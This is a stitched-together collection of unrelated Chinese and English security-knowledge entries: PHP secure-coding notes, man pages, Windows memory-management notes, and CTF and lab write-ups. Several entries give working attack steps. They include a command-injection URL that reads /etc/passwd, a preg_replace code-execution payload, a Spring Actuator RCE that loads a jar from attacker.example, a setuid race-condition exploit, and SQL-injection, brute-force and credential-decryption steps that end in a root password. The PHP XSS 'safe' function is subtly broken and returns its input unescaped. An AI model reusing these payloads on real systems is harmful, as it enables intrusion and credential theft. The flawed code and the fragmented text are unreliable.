对于一个刚开始写的程序,应当设计的更安全一些,PHP5中,增加了MySQL支持,提供了mysqli扩展:
PHP手册地址:http://php.net/mysqli
``` php
<?php
// retrieve the user's input
$animalName = $_POST['animalName'];
// connect to the database
$connect = mysqli_connect('localhost', 'username', 'password', 'database');
if (!$connect)
exit('connection failed: ' . mysqli_connect_error());
// create a query statement resource
$stmt = mysqli_prepare($connect, "SELECT intelligence FROM animals WHERE name = ?");
if ($stmt) {
// bind the substitution to the statement
mysqli_stmt_bind_param($stmt, "s", $animalName);
// execute the statement
mysqli_stmt_execute($stmt);
// retrieve the result...
mysqli_stmt_bind_result($stmt, $intelligence);
// ...and display it
if (mysqli_stmt_fetch($stmt)) {
print "A $animalName has $intelligence intelligence.\n";
} else {
print 'Sorry, no records found.';
}
// clean up statement resource
mysqli_stmt_close($stmt);
}
mysqli_close($connect);
?>
```
mysqli扩展提供了所有的查询功能。
mysqli扩展也提供了面向对象的版本:
``` php
<?php
$animalName = $_POST['animalName'];
$mysqli = new mysqli('localhost', 'username', 'password', 'database');
if (!$mysqli)
exit('connection failed: ' . mysqli_connect_error());
$stmt = $mysqli->prepare("SELECT intelligence FROM animals WHERE name = ?");
if ($stmt) {
$stmt->bind_param("s", $animalName);
$stmt->execute();
$stmt->bind_result($intelligence);
if ($stmt->fetch()) {
print "A $animalName has $intelligence intelligence.\n";
} else {
print 'Sorry, no records found.';
}
$stmt->close();
}
$mysqli->close();
?>
```
## 四、防止XSS攻击
xss攻击一个常用的方法就是注入HTML元素执行js脚本,php中已经内置了一些防御的函数(如htmlentities或者htmlspecialchars):
``` php
<?php
function safe($value)
{
htmlentities($value, ENT_QUOTES, 'utf-8');
// other processing
return $value;
}
// retrieve $title and $message from user input
$title = $_POST['title'];
$message = $_POST['message'];
// and display them safely
print '<h1>' . safe($title) . '</h1>
<p>' . safe($message) . '</p>';
?>
```
### 过滤用户提交的URL
如果允许用户输入一个URL用来调用一个图片或者链接,你需要保证他不传入`javascript:`或者`vbscript:`或`data:`等非http协议。
可以使用php的内置函数parse_url()函数来分割URL,然后做判断。
设置允许信任的域:
``` php
<?php
$trustedHosts = array(
'example.com',
'another.example.com'
);
$trustedHostsCount = count($trustedHosts);
function safeURI($value)
{
$uriParts = parse_url($value);
for ($i = 0; $i < $trustedHostsCount; $i++) {
if ($uriParts['host'] === $trustedHosts[$i]) {
return $value;
}
}
$value .= ' [' . $uriParts['host'] . ']';
return $value;
}
// retrieve $uri from user input
$uri = $_POST['uri'];
// and display it safely
echo safeURI($uri);
?>
```
## 五、防止远程执行
远程执行通常是使用了php代码执行如eval()函数,或者是调用了命令执行如exec(),passthru(),proc_open(),shell_exec(),system()或popen()。php为开发者提供了非常多的方法可以来调用允许php脚本,我们就需要注意对用户可控的数据进行过滤。
### 调用的几种方式:
include()和require()函数,eval()函数,preg_replace()采用e模式调用,编写脚本模板。
``` php
<?php
print Hello . world;
?>
```
上面代码将会输出Helloworld,php在解析的时候会检查是否存在一个名为Hello的函数。
如果没有找到的话,他会自己创建一个并把它的名字作为它的值,world也是一样。
攻击者可以上传一个看似很普通的图片,PDF等,但是实际上呢?
linux下可以使用如下命令插入php代码进入图片中:
`$ echo '<?php phpinfo();?>' >> locked.gif`
把代码插入到了locked.gif图片中,并且此时用file命令查看文件格式仍为图片:
`$ file -i locked.giflocked.gif: image/gif`
任何的图像编辑或图像处理的程序包括PHP的getimagesize()函数,都会认为它是一个GIF图像。
但当把图片的后缀改为php或者以php的方式解析时,插入的phpinfo()函数便会执行。
### Shell命令执行
PHP提供了一些可以直接执行系统命令的函数,如exec()函数或者 `(反引号)。
PHP的安全模式会提供一些保护,但是也有一些方式可以绕过安全模式:
1、上传一个Perl脚本,或者Python或Ruby等,服务器支持的环境,来执行其他语言的脚本可绕过PHP的安全模式。
2、利用系统的缓冲溢出漏洞,绕过安全模式。
下表列出了跟Shell相关的一些字符:

如下PHP脚本:
``` php
<?php
// get the word count of the requested file
$filename = $_GET['filename'];
$command = "/usr/bin/wc $filename";
$words = shell_exec($command);
print "$filename contains $words words.";
?>
```
用户可以输入如下的URL来攻击读取passwd文件:
wordcount.php?filename=%2Fdev%2Fnull%20%7C%20cat%20-%20%2Fetc%2Fpasswd
字符串拼接之后,将会执行 /usr/bin/wc /dev/null | cat - /etc/passwd这条命令
如果能够不使用命令执行函数与eval()函数,可以在php.ini中禁止:`disable_functions = "eval,phpinfo"`
PHP中还有一个preg_replace()函数,可能引起代码执行漏洞。
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit ] )
在 subject 中搜索 pattern 模式的匹配项并替换为 replacement 。如果指定了 limit ,则仅替换 limit 个匹配。
如果省略 limit 或者其值为 -1,则所有的匹配项都会被替换。
特别注意:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。
提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
``` php
<?php
function test($str)
{
//......
//......
return $str;
}
echo preg_replace("/\s*\[p hp](.+?)\[\/php\]\s*/ies", 'test("\1")', $_GET["h"]);
?>
```
当用户输入 `?h=[p hp]phpinfo()[/php]`
经过正则匹配后, replacement 参数变为`'test("phpinfo()")'`,此时phpinfo仅是被当做一个字符串参数了。
但是当我们提交`?h=[p hp]{${phpinfo()}}[/php]` 时,phpinfo()就会被执行。
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。
在这里我们需要通过`{${}}`构造出了一个特殊的变量,`'test("{${phpinfo()}}")'`,达到让函数被执行的效果, `${phpinfo()}` 会被解释执行。
|
sec-knowleage
|
ftpshut
===
在指定的时间关闭FTP服务器
## 补充说明
功能说明:在指定的时间关闭ftp服务器。本指令提供系统管理者在设置的时间关闭FTP服务器,且能在关闭之前发出警告信息通知用户。关闭时间若设置后为"none",则会马上关闭服务器。如果采 用"+30"的方式来设置表示服务器在30分钟之后关闭。依次类推,假设使用"1130"的格式则代表服务器会在每日的11时30分关闭,时间格式为24 小时制。FTP服务器关闭后,在/etc目录下会产生一个名称为shutmsg的文件,把它删除后即可再度启动FTP服务器的功能。
语法:
```shell
ftpshut [-d<分钟>][-l<分钟>][关闭时间]["警告信息"]
```
参数:
```shell
-d<分钟> 切断所有FTP连线时间。
-l<分钟> 停止接受FTP登入的时间。
```
|
sec-knowleage
|
from library import *
import sys
with open(sys.argv[1], "w") as f:
for i in range(int(sys.argv[2])):
while True:
inp = "".join(chr(random.randint(0, 255)) for _ in range(16))
if "\n" not in inp:
break
save_sample(f, inp)
|
sec-knowleage
|
# Insecure Management Interface
## Springboot-Actuator
Actuator endpoints let you monitor and interact with your application.
Spring Boot includes a number of built-in endpoints and lets you add your own.
For example, the `/health` endpoint provides basic application health information.
Some of them contains sensitive info such as :
- `/trace` - Displays trace information (by default the last 100 HTTP requests with headers).
- `/env` - Displays the current environment properties (from Spring’s ConfigurableEnvironment).
- `/heapdump` - Builds and returns a heap dump from the JVM used by our application.
- `/dump` - Displays a dump of threads (including a stack trace).
- `/logfile` - Outputs the contents of the log file.
- `/mappings` - Shows all of the MVC controller mappings.
These endpoints are enabled by default in Springboot 1.X.
Note: Sensitive endpoints will require a username/password when they are accessed over HTTP.
Since Springboot 2.X only `/health` and `/info` are enabled by default.
### Remote Code Execution via `/env`
Spring is able to load external configurations in the YAML format.
The YAML config is parsed with the SnakeYAML library, which is susceptible to deserialization attacks.
In other words, an attacker can gain remote code execution by loading a malicious config file.
#### Steps
1. Generate a payload of SnakeYAML deserialization gadget.
- Build malicious jar
```bash
git clone https://github.com/artsploit/yaml-payload.git
cd yaml-payload
# Edit the payload before executing the last commands (see below)
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
```
- Edit src/artsploit/AwesomeScriptEngineFactory.java
```java
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("ping rce.poc.attacker.example"); // COMMAND HERE
} catch (IOException e) {
e.printStackTrace();
}
}
```
- Create a malicious yaml config (yaml-payload.yml)
```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.example/yaml-payload.jar"]
]]
]
```
2. Host the malicious files on your server.
- yaml-payload.jar
- yaml-payload.yml
3. Change `spring.cloud.bootstrap.location` to your server.
```
POST /env HTTP/1.1
Host: victim.example:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://attacker.example/yaml-payload.yml
```
4. Reload the configuration.
```
POST /refresh HTTP/1.1
Host: victim.example:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
## References
* [Springboot - Official Documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html)
* [Exploiting Spring Boot Actuators - Veracode](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
sec-knowleage
|
# Intentional Exercise
## [Flag0](./flag0) -- Found
- Check the manifest
- Is the link really broken?
- Launching from another app might help
|
sec-knowleage
|
# 威胁检测与响应(闭环)思路汇总
## 理论模型
### Kill Chain
可以精简一下:嗅探行为、入侵利用、C&C控制、横向扩散、外传检测。对应的防护可以参考[2]:
> 通过分析侦察嗅探阶段,可以发现攻击者的攻击路径以及攻击目标的选择,在这一阶段,在边界防护策略或主机安全上加固,以加强防御,将攻击者挡在第一道防护线外。
>
> 在驻留C&C控制阶段,可以看到网络攻击者为了维护网络访问权限所作的各种工作,以便引入新的攻击工具,在这些环节中发现威胁,可以斩除失陷主机和远程控制的连接,防止损失。
>
> 在横向扩散,数据外传这样的执行阶段,我们要关注攻击者如何执行最终目标,执行横向移动,感染更多的主机。在这一阶段,我们需要的就是终止攻击者的恶意行为,尽量减少损失。
## 架构思路一:威胁检测与响应的闭环
检测 + 定位 + 处置 + 溯源 = 威胁检测与响应的闭环

图:企业级威胁检测与响应架构[1]
## References
\[1]基于**Sysmon**的企业级威胁检测与响应闭环,樊兴华(微步在线首席分析师),2019CTIC分享的议题
\[2] 换个技术视角发现企业内网失陷主机,态势感知团队 启明星辰泰合,https://update.venuseye.com.cn/reports/1574921412531/2019112604.html
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH MKNOD 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
mknod \- 创建块或者字符特殊文件
.SH 概述
\fBmknod\fP [\fI\,选项\/\fP]... \fI\,名称 类型 \/\fP[\fI\,主设备号 从设备号\/\fP]
.SH 描述
.\" Add any additional description here
.PP
使用指定文件名称和给定类型创建特殊文件。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-m\fP, \fB\-\-mode\fP=\fI\,模式\/\fP
将文件权限位设置为给定的模式(类似 chmod),而不是类似 a=rw 这样
.TP
\fB\-Z\fP
将 SELinux 安全上下文设置为默认类型
.TP
\fB\-\-context\fP[=\fI\,CTX\/\fP]
类似 \fB\-Z\fP,或者如果指定了上下文,则将 SELinux 或者 SMACK 安全上下文设置为指定类型
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
当类型为 b、c 或者 u 时,必须同时指定主设备号和从设备号,当类型为 p 时它们必须同时被省略。如果主设备号和从设备号以 0x 或者 0X
起始,它将被解释为十六进制数据;否则,如果它以 0 起始,则看作八进制;否则看作十进制。所指定类型可以为:
.TP
b
创建一个块(缓冲)特殊文件
.TP
c, u
创建一个字符(无缓冲)特殊文件
.TP
p
创建一个 FIFO
.PP
注意:您的 shell 可能提供了它自己版本的 mknod,且它通常都会覆盖这里所描述的版本。请参考您所用 shell
的文档以了解它们所支持选项的细节。
.SH 作者
由 David MacKenzie 编写。
.SH 报告错误
2020年三月
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
\fBmknod\fP(2)
.PP
.br
完整文档请见:<https://www.gnu.org/software/coreutils/mknod>
.br
或者在本地使用: info \(aq(coreutils) mknod invocation\(aq
|
sec-knowleage
|
# Level10
#### About
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
To do this level, log in as the level10 account with the password level10. Files for this level can be found in /home/flag10.
#### Source code
```
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
{
char *file;
char *host;
if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
host = argv[2];
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}
#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE
printf("Connected!\nSending file .. "); fflush(stdout);
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
write(fd, buffer, rc);
printf("wrote file!\n");
} else {
printf("You don't have access to %s\n", file);
}
}
```
#### solutions
```
echo aaaaaaaa>/tmp/token
nc -kl 18211
```
* ---- /tmp/create_link.sh ----
```
#!/bin/bash
while true
do
ln -fs /tmp/token /tmp/lv10_token
ln -fs /home/flag10/token /tmp/lv10_token
done
```
* ----/tmp/connect.sh ----
```
#!/bin/bash
while true
do
/home/flag10/flag10 /tmp/lv10_token
done
su flag10
/bin/getflag
```
#### Recommend
http://cybergibbons.com/security-2/nebula-walkthrough/nebula-exploit-exercises-walkthrough-level10/
|
sec-knowleage
|
# InsanityHosting
> https://download.vulnhub.com/insanity/Insanity-Hosting.ova
靶场IP:`192.168.2.134`
扫描对外端口服务
```
┌──(root💀kali)-[~]
└─# nmap -p1-65535 -sV 192.168.2.134
Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-06 08:23 EDT
Nmap scan report for 192.168.2.134
Host is up (0.00024s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/7.2.33)
MAC Address: 00:0C:29:C2:09:42 (VMware)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 154.26 seconds
```
访问FTP 21端口,可以匿名登陆,不过没有发现有用的东西。

浏览器访问80端口

爆破目录
```
┌──(root💀kali)-[~]
└─# gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://192.168.2.134/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.2.134/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/09/06 08:28:58 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 211]
/.htpasswd (Status: 403) [Size: 211]
/cgi-bin/ (Status: 403) [Size: 210]
/css (Status: 301) [Size: 233] [--> http://192.168.2.134/css/]
/data (Status: 301) [Size: 234] [--> http://192.168.2.134/data/]
/fonts (Status: 301) [Size: 235] [--> http://192.168.2.134/fonts/]
/img (Status: 301) [Size: 233] [--> http://192.168.2.134/img/]
/js (Status: 301) [Size: 232] [--> http://192.168.2.134/js/]
/licence (Status: 200) [Size: 57]
/monitoring (Status: 301) [Size: 240] [--> http://192.168.2.134/monitoring/]
/news (Status: 301) [Size: 234] [--> http://192.168.2.134/news/]
/phpmyadmin (Status: 301) [Size: 240] [--> http://192.168.2.134/phpmyadmin/]
/webmail (Status: 301) [Size: 237] [--> http://192.168.2.134/webmail/]
===============================================================
2022/09/06 08:29:01 Finished
===============================================================
```
访问:`/news/`。会访问一个域名,需要配置本地hosts。

重新刷新页面,页面有个用户:`Otis`
> 监控服务
>
> 我们的团队一直在努力为您的服务器创建免费的监控服务。特别感谢领导团队的 Otis。
>
> 我们很高兴地宣布,从下周开始,您将可以注册我们的监控服务。这将保持免费,无论您是否是客户。
>
> 如果您有兴趣,请发送电子邮件至 hello@insanityhosting.vm,我们可以为您提供更多详细信息。

查看页面底部,我们看到这似乎也在运行[Bludit CMS](https://www.bludit.com/)。

查看`/data`目录,找到一个版本:`1.14.0`

查看`/webmail`目录

对登录界面进行暴力破解
```
hydra -l otis -P /usr/share/wordlists/rockyou.txt "http-post-form://www.insanityhosting.vm/webmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Unknown user or password incorrect."
```
获得登录密码

登录`/webmail`,不过这里没有邮件信息。

访问`/monitoring`,并尝试使用相同的用户名和密码登录。

这是一个监控页面,让我们尝试使用我们的 IP 地址添加一个新主机,看看它是否使用.一段时间后,我们看到本地机器的状态是"UP"。

现在让我们尝试通过将被监控的 IP 地址更改为无效的 IP 地址来禁用监控。这是看是否`otis`真的收到任何监控失败邮件。


我们发现`test"`在名称字段中输入会导致没有电子邮件被发送到`otis`。这表明监控网站可能正在使用基于 SQL 的查询来找出哪些服务器已关闭,并使用该查询向我们发送电子邮件。
因此,考虑到这一假设,我们尝试`test" or 1='1' -- -`在名称字段中。


太棒了,数据库表中的所有内容都会返回给我们,包括成功记录,这意味着我们自己获得了 SQL 注入。
由于我们看到发送给我们的电子邮件中有四列,我们可以尝试使用以下查询获取数据库列表。
```
a" UNION SELECT group_concat(schema_name),2,3,4 FROM information_schema.schemata -- -
```

让我们看看`monitoring`数据库里面有什么。
```
a" UNION SELECT group_concat(table_name),2,3,4 FROM information_schema.tables where table_schema = 'monitoring' -- -
```

这张`users`表看起来很有趣,所以让我们来看看。
```
a" UNION SELECT group_concat(column_name),2,3,4 FROM information_schema.columns where table_name = 'users' -- -
```

```
a" UNION SELECT group_concat(username),group_concat(password),group_concat(email),4 FROM monitoring.users -- -
```

太棒了,我们获得了有资格访问此监控页面的用户的用户名、密码哈希和电子邮件地址。不是那么棒,我们在很长一段时间后都没有设法破解它们。
因此,让我们继续阅读文件。
```
a" UNION SELECT LOAD_FILE('/etc/passwd'),2,3,4 as result -- -
```

仔细看`/etc/passwd`,我们看到我们有四个用户,我们以后可能可以转移到- `admin`、`monitor`和。`elliot``nicholas`
接下来让我们尝试阅读 Bludit 用户文件。
```
a" UNION SELECT LOAD_FILE('/var/www/html/news/bl-content/databases/users.php'),2,3,4 as result -- -
```

尝试破解 Bludit`admin`用户的密码哈希也无济于事,所以让我们尝试从`mysql.user`数据库中获取密码哈希。
```
a" UNION SELECT group_concat(user),group_concat(password),group_concat(authentication_string),4 FROM mysql.user -- -
```

我们在数据库中看到一个`elliot`用户,以及他们在`authentication_string`列下的哈希密码。这可能和`elliot`我们在阅读时看到的一样`/etc/passwd`。让我们尝试破解它。
```
┌──(root💀kali)-[/tmp]
└─# cat hash
*5A5749F309CAC33B27BA94EE02168FA3C3E7A3E9
┌──(root💀kali)-[/tmp]
└─# john --wordlist:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 128/128 AVX 4x])
No password hashes left to crack (see FAQ)
┌──(root💀kali)-[/tmp]
└─# john --show hash
?:elliot123
1 password hash cracked, 0 left
```
ssh登录
```
┌──(root💀kali)-[/tmp]
└─# ssh elliot@192.168.2.134
The authenticity of host '192.168.2.134 (192.168.2.134)' can't be established.
ECDSA key fingerprint is SHA256:vGWrdjBS8NkKS9/tOKtz2EdskG/Td1ggoalsSMMRwLQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.134' (ECDSA) to the list of known hosts.
elliot@192.168.2.134's password:
Last login: Wed Aug 31 10:00:29 1994 from �Y�IWf��3����H2/d`/�%▒�p�R�v�e�ZR
����
\f]��1*
����l#
[elliot@insanityhosting ~]$ id
uid=1003(elliot) gid=1003(elliot) groups=1003(elliot)
[elliot@insanityhosting ~]$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for elliot:
Sorry, user elliot may not run sudo on insanityhosting.
```
寻找属于elliot用户的文件
```
find / -type f -user elliot 2>/dev/null | grep -v "/proc/" | grep -v "/sys/"
```
发现了firefox的登录信息
```
[elliot@insanityhosting ~]$ cat /home/elliot/.mozilla/firefox/esmhp32w.default-default/logins.json
{"nextId":2,"logins":[{"id":1,"hostname":"https://localhost:10000","httpRealm":null,"formSubmitURL":"https://localhost:10000","usernameField":"user","passwordField":"pass","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECMXc5x8GLVkkBAh48YcssjnBnQ==","encryptedPassword":"MEoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECPPLux2+J9fKBCApSMIepx/VWtv0rQLkpiuLygt0rrPPRRFoOIlJ40XYbg==","guid":"{0b89dfcb-2db3-499c-adf0-9bd7d87ccd26}","encType":1,"timeCreated":1597591517872,"timeLastUsed":1597595253716,"timePasswordChanged":1597595253716,"timesUsed":2}],"version":2}
```

压缩firefox的文件到本地
```
tar -cvf firefox.tar.gz /home/elliot/.mozilla/firefox/esmhp32w.default-default/
```
解密的firefox的密码
> https://github.com/Unode/firefox_decrypt
```
┌──(root💀kali)-[/tmp/home/elliot]
└─# python3 /opt/firefox_decrypt/firefox_decrypt.py /tmp/home/elliot/.mozilla/firefox/esmhp32w.default-default
2022-09-06 09:28:25,093 - WARNING - profile.ini not found in /tmp/home/elliot/.mozilla/firefox/esmhp32w.default-default
2022-09-06 09:28:25,093 - WARNING - Continuing and assuming '/tmp/home/elliot/.mozilla/firefox/esmhp32w.default-default' is a profile location
Website: https://localhost:10000
Username: 'root'
Password: 'S8Y389KJqWpJuSwFqFZHwfZ3GnegUa'
```

|
sec-knowleage
|
# 内存管理
> 注 : 笔记中拓扑图 drawio 源文件在其图片目录下
---
- 更多内存相关知识点可见 [内存笔记](../../../Develop/计算机基础/内存.md)
Windows 内存管理可概括为三大机制: 虚拟地址空间管理; 物理页面管理; 地址转译和页面交换.
## 虚拟地址空间管理机制
在早期的计算机系统中, 程序员负责管理内存, 后来, 为了减轻程序员的负担, 改由操作系统负责管理内存. 这是程序设计发展史上的一次重要变革. 在多进程运行环境中, 为支持每个进程拥有逻辑上独立的地址空间, 操作系统需使各进程地址空间相互隔离, 互不干扰.
Windows 虚拟地址空间管理目的是实现各进程地址空间隔离, 所以进程所见的是虚拟地址空间. 虚拟地址也称为线性地址, 是 Windows 在保护模式下所使用的逻辑地址, 其空间大小取决于地址总线的宽度, 比如, 在 32 位系统上, 虚拟地址空间大小为 232 字节, 然而 CPU 实际访问的却是物理地址空间. 所谓物理地址, 是 RAM 中存储单元的索引, CPU 通过这组地址线与 RAM 相连, 并通过在这些地址线加上电平信号来读写相应内存单元. 换言之, 在程序设计时使用虚拟地址, 而程序执行时则使用物理地址. 因此, Windows 需要对各进程虚拟地址进行管理, 以便各进程互不干扰地运行于相同的物理内存中.
Windows 的进程虚拟地址空间是通过 VAD 来管理的. VAD 描述的是一段连续的地址空间范围, 被设计为一棵平衡二叉树, 以便 Windows 快速定位一段虚拟地址空间. 随着进程的运行, 不断地有地址范围被保留或提交, 该进程的 VAD 树便逐渐形成. 因此, 借助于 VAD 不仅能够获取进程所使用的虚拟地址空间信息, 还可以获取该进程的其他相关信息.
---
## 物理页面管理机制
由于 Windows 的进程都是在物理内存中执行的,因此 Windows 需要管理物理地址所在的物理内存页面. Windows 系统使用 PFN(page frame number database, 页帧编号数据库) 来描述物理内存各页面的状态. PFN 数据库中的每个 PFN 项对应于一个物理页面, 记录了该页面的使用情况, 包括其状态、对应页表项的地址等信息.
此外, Windows 还维护着一组链表, 分别将相同类型的页面链接起来, 主要包括零化链表、空闲链表、备用链表、修改链表、坏页面链表等. Windows 的虚拟地址转译和页面交换机制是基于这些数据结构实现的.
---
## 地址转译和页面交换机制
Windows 的的地址转译机制,可将进程中所使用的虚拟地址转换为物理内存中的物理地址,从而完成内存数据的定位,为获取内存数据提取支持。
### 地址转译
由于程序使用虚拟地址, 而 CPU 则使用物理地址, 因此, 需借助于 CPU 芯片硬件和操作系统软件配合来实现从虚拟地址到物理地址的转换. 这就是 Windows 系统的虚拟地址转译机制. 转译机制是由 CPU 芯片硬件提供, 而转译中所使用的数据结构则由 Windows 操作系统管理.
Windows 系统采用页式内存管理, 虚拟地址空间是按页 (page) 来管理的, 物理地址空间是按帧 (frame) 来管理的, 页和帧的大小相等. 因此, 进程的虚拟地址页面可实现离散分配, 即, 虚拟地址空间中连续的页面对应于物理地址空间的页帧无需连续.
采用页式内存管理后, 虚拟地址在结构上分为两部分: 页索引和页内偏移. 其中, 页索引是指该虚拟地址在地址映射时的索引编号, 页内偏移则指该地址在页面内部的具体位置. Intel x86 采用分级页表来管理地址映射. 32 位虚拟地址中的页索引部分又被分成页目录索引 (10 位) 和页表索引 (10 位) 两部分.
因此, Intel x86 在解析一个虚拟地址时, 首先根据最高 10 位在页目录中定位其页目录项 PDE(page directory entry), 它指向一个页表; 其次, 根据接下来的 10 位在页表中定位其页表项 PTE(page table entry), 此页表项指定了目标页面的物理地址; 最后, 在此物理地址基础上加上页内偏移量, 得到最终的物理地址. Windows 虚拟地址转译机制如下图所示.
如果 CPU 寄存器中的分页标志位被设置, 那么在执行内存操作机器指令时, CPU 会自动根据页目录和页表中的信息, 把虚拟地址转换成物理地址, 完成该指令操作. 因此, 借由 Windows 的地址转移机制, 可将进程中所使用的虚拟地址转换为物理内存中的物理地址, 从而完成内存数据的定位, 为内存数据获取提供支持.
### Windows页面交换
当进程所需的内存数量大于计算机所安装的 RAM 时, Windows 采用页面交换机制予以处理. Windows 页面交换有两种情况:
- 进程使用了某个尚未得到物理页面的虚拟地址;
- 这种情况将导致页面换入, 首先由 CPU 触发页面错误异常; 然后, Windows 在页面错误处理例程中为其分配页面, 并设置相关的页表项和页面之间的对应关系; 最后, 进程就可以透明地访问该地址.
- 进程工作集限制其不能拥有更多物理页面.
- 情况将导致页面换出, 在内存紧缺时, Windows 将不紧急进程的部分代码或数据存放到硬盘文件 Pagefile.sys 中, 腾出物理内存以供他用; 当内存紧缺得以缓解时, 再将硬盘上的进程代码或数据换入内存, 使之继续运行.
由此可见, 页面交换文件是物理内存的一种自然延伸. 就其数据内容而言, 页面交换文件与物理内存是同等的, 只不过受页面调度影响而在不同时刻位于不同物理位置. 所以, 完整的内存数据应包括两部分: 物理内存数据和页面交换文件数据.
### 进程和线程数据结构
在 Windows 中, 进程是系统各种资源的容器, 它定义了一个地址空间作为其基本执行环境; 线程是指令执行序列, 它直接访问所属进程中的资源. 由于 Windows 内核采用层次结构, 进程和线程在微内核层和执行体层上都有对应的数据结构.
Windows 内核使用 NtCreatProcess 函数创建一个进程的过程如下: 首先, 创建一个执行体层进程对象 EPROCESS 和内核层进程对象 KPROCESS; 然后, 创建一个初始的执行体层线程对象 ETHREAD 和内核层线程对象 KTHREAD; 最后, 设置好初始执行环境并参与进程 (线程) 调度.
在微内核层上, 进程和线程的数据结构分别为 KPROCESS 和 KTHREAD, 其中包含了系统资源管理和多控制流并发执行所涉及的基本信息. 进程对象 KPROCESS 提供了线程的基本执行环境, 包括进程地址空间和一组进程范围内公用的参数; 线程对象 KTHREAD 提供了为参与线程调度而必需的各种信息及其维护控制流的状态.
在执行体层上, 进程和线程的数据结构分别为 EPROCESS 和 ETHREAD. 它们涉及操作系统各方面信息, 不仅内嵌了内核层上的进程和线程对象, 而且还包括了更多涉及进程与线程管理的信息. 比如, 在 EPROCESS 中, 包含进程的标识、映像文件、配额限制、锁、与进程的物理内存和虚拟内存相关的成员等; 在 ETHREAD 中, 包含线程的标识、启动地址、执行时间、安全属性等. Windows 内核中的进程与线程间相互关系如下图所示.
由于上述内核数据结构都保存在内存中, 这提示可通过内存取证获取相关进程或线程的信息. 而系统中发生的任何攻击行为, 总是进程 (线程) 执行的结果. 由上图可知, 选择从一个表头出发, 采用顺藤摸瓜的方式, 能够遍历所有 Lists, 枚举出重要信息. 因此, 通过分析、提取此类信息, 能够获取相关攻击行为证据数据. 这也是内存取证的重要依据和理论基础.
---
## Source & Reference
- [内存取证研究与进展](http://www.jos.org.cn/html/2015/5/4821.htm)
|
sec-knowleage
|
# Challenge #3
Solved together with YaakovCohen88
## Description
> Hello again, Agent.
>
> After you disabled the weapon system, we have successfully raided the terrorist compound and took all present into custody.
>
